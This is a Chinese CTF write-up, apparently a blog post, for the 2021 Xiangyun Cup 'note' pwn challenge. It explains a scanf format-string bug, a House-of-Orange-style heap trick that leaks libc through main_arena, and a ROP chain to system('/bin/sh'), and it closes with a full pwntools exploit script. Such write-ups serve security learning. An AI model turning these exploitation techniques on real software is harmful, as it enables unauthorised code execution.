2021-祥云杯初赛-note

文件

链接:https://pan.baidu.com/s/13fHG2I0nl9LaNKwU9ZIOKw
提取码:iizk
ubuntu 16.04

漏洞点

__int64 say()
{
  char buf[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("say ? ");
  read(0, buf, 0x64uLL);
  printf("? ");
  __isoc99_scanf(buf);
  printf("know");
  return 0LL;
}

__isoc99_scanf(buf); 有一个格式化字符串漏洞,可以用来实现任意地址写。偏移的计算方法是 rsi, rdx, rcx, r8, r9 占据格式化字符串后面的前 5 个参数,第 6 个及后面的参数从栈顶开始放。
执行 scanf 函数之前的栈结构如下:

pwndbg> stack 20
00:0000│ rdi rsp  0x7fffffffddc0 ◂— 0x6161616161616161 ('aaaaaaaa')
01:0008│          0x7fffffffddc8 —▸ 0x7ffff7dd260a (_IO_2_1_stderr_+202) ◂— 0x0
02:0010│          0x7fffffffddd0 ◂— 0xa /* '\n' */
03:0018│          0x7fffffffddd8 —▸ 0x555555556068 ◂— 0x20776f68732e337c ('|3.show ')
04:0020│          0x7fffffffdde0 —▸ 0x7fffffffdf30 ◂— 0x1
05:0028│          0x7fffffffdde8 —▸ 0x7ffff7a8782b (_IO_file_overflow+235) ◂— cmp    eax, -1
06:0030│          0x7fffffffddf0 ◂— 0x22 /* '"' */
07:0038│          0x7fffffffddf8 —▸ 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2887
08:0040│          0x7fffffffde00 —▸ 0x555555556068 ◂— 0x20776f68732e337c ('|3.show ')
09:0048│          0x7fffffffde08 —▸ 0x7ffff7a7c80a (puts+362) ◂— cmp    eax, -1
0a:0050│          0x7fffffffde10 ◂— 0x0
0b:0058│          0x7fffffffde18 —▸ 0x7fffffffde30 —▸ 0x7fffffffde50 —▸ 0x5555555554c0 ◂— endbr64 
0c:0060│          0x7fffffffde20 —▸ 0x5555555550d0 ◂— endbr64 
0d:0068│          0x7fffffffde28 ◂— 0xbda0b23c04f1a800
0e:0070│ rbp      0x7fffffffde30 —▸ 0x7fffffffde50 —▸ 0x5555555554c0 ◂— endbr64 
0f:0078│          0x7fffffffde38 —▸ 0x555555555492 ◂— jmp    0x5555555554b6
10:0080│          0x7fffffffde40 ◂— 0x2ffffdf30
11:0088│          0x7fffffffde48 ◂— 0xbda0b23c04f1a800
12:0090│          0x7fffffffde50 —▸ 0x5555555554c0 ◂— endbr64 
13:0098│          0x7fffffffde58 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov    edi, eax

利用思路

本题没有 free 函数,所以先利用如下手法执行一次 _int_free,原理参考 House of orange

  1. add(0x10, "aaaa"),这会泄漏分配的 chunk 的地址,该地址加 0x10 便是 top chunk 的地址
  2. 利用格式化字符串漏洞将 top chunk 的 size 段修改为 0xfe1
buf = "%7$s____" + p64(top_chunk + 0x8)
data = p64(0xfe1)
say(buf, data)

此时的栈结构如下:

00:0000│ rdi rsp  0x7fffffffddc0 ◂— "%7$s____"
01:0008│          0x7fffffffddc8 —▸ p64(top_chunk + 0x8) 

接下来就可以在 scanf 中写入 top chunk 的 size(0xfe1)

  1. 触发 _int_free
# 前 0xf 次 add 分配了 0xf*0x100=0xf00 的空间,到最后一次的时候只剩下 0xe0 的空间
# 由于剩余空间不足,ptmalloc 会调用 brk 再申请一块空间,并且将剩余的 0xe0 空间释放到 unsortedbin
for i in range(0x10):
    add(0xf0, "aaaa")
# 由于 0xb0+0x10<0xe0,故这块内存从 unsortedbin 中截取
"""
此时的 chunk 结构:
p64(0)      p64(0xc0)
"aaaaaaaa"  bk = main_arena + 88
"""
add(0xb0, "aaaaaaaa")

泄漏了 main_arena 的地址之后就是一些常规套路:

main_arena = u64(sh.recv(6).ljust(8, '\x00')) - 88
# 定式: main_arena = __malloc_hook + 0x10
__malloc_hook = main_arena - 0x10
libcbase = __malloc_hook - libc.symbols["__malloc_hook"]
system = libcbase + libc.symbols["system"]
binsh = libcbase + libc.search("/bin/sh").next()
# 凡是涉及汇编的代码,都要在前面指明 context.arch
pop_rdi_ret = libcbase + libc.search(asm("pop rdi\nret")).next()

最后再利用一次格式化字符串漏洞来修改返回地址做 ROP。

pwndbg> stack 20
00:0000│ rdi rsp  0x7fffffffddc0 ◂— 0x6161616161616161 ('aaaaaaaa')
01:0008│          0x7fffffffddc8 —▸ 0x7ffff7dd260a (_IO_2_1_stderr_+202) ◂— 0x0
02:0010│          0x7fffffffddd0 ◂— 0xa /* '\n' */
03:0018│          0x7fffffffddd8 —▸ 0x555555556068 ◂— 0x20776f68732e337c ('|3.show ')
04:0020│          0x7fffffffdde0 —▸ 0x7fffffffdf30 ◂— 0x1
05:0028│          0x7fffffffdde8 —▸ 0x7ffff7a8782b (_IO_file_overflow+235) ◂— cmp    eax, -1
06:0030│          0x7fffffffddf0 ◂— 0x22 /* '"' */
07:0038│          0x7fffffffddf8 —▸ 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2887
08:0040│          0x7fffffffde00 —▸ 0x555555556068 ◂— 0x20776f68732e337c ('|3.show ')
09:0048│          0x7fffffffde08 —▸ 0x7ffff7a7c80a (puts+362) ◂— cmp    eax, -1
0a:0050│          0x7fffffffde10 ◂— 0x0
打这里,第17参数 -> 0x7fffffffde18 —▸ 0x7fffffffde30 # 因为 0x7fffffffde30 再后面一单元紧跟着的就是返回地址了
0c:0060│          0x7fffffffde20 —▸ 0x5555555550d0 ◂— endbr64 
0d:0068│          0x7fffffffde28 ◂— 0xbda0b23c04f1a800
0e:0070│ rbp      0x7fffffffde30 —▸ 0x7fffffffde50 —▸ 0x5555555554c0 ◂— endbr64 
0f:0078│          0x7fffffffde38 —▸ 0x555555555492 ◂— jmp    0x5555555554b6
10:0080│          0x7fffffffde40 ◂— 0x2ffffdf30
11:0088│          0x7fffffffde48 ◂— 0xbda0b23c04f1a800
12:0090│          0x7fffffffde50 —▸ 0x5555555554c0 ◂— endbr64 
13:0098│          0x7fffffffde58 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov    edi, eax

exp

from pwn import *

context.log_level = "debug"
context.arch = "amd64"

libc = ELF("./libc-2.23.so")
sh = process("./pwn1")

def choice(v3):
    sh.recvuntil("choice: ")
    sh.sendline(str(v3))

def add(sz, content):
    choice(1)
    sh.recvuntil("size: ")
    sh.sendline(str(sz))
    sh.recvuntil("content: ")
    sh.send(content)
    sh.recvuntil("addr: 0x")
    addr = int(sh.recvuntil('\n', drop=True), 16)
    print("addr = " + hex(addr))
    return addr

def say(buf, data):
    choice(2)
    sh.recvuntil("say ? ")
    sh.send(buf)
    sh.recvuntil("? ")
    sh.sendline(data)

top_chunk = add(0x10, "aaaa") + 0x10

buf = "%7$s____" + p64(top_chunk + 0x8)
data= p64(0xfe1)
say(buf, data)

for i in range(0x10):
    add(0xf0, "aaaa")

add(0xb0, "aaaaaaaa")

choice(3)

sh.recvuntil("aaaaaaaa")

main_arena = u64(sh.recv(6).ljust(8, '\x00')) - 88
__malloc_hook = main_arena - 0x10
libcbase = __malloc_hook - libc.symbols["__malloc_hook"]
system = libcbase + libc.symbols["system"]
binsh = libcbase + libc.search("/bin/sh").next()
pop_rdi_ret = libcbase + libc.search(asm("pop rdi\nret")).next()

#gdb.attach(sh)
payload = 'a'*8 + p64(pop_rdi_ret) + p64(binsh) + p64(system)
buf = "%17$s"
data= payload
say(buf, data)

sh.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容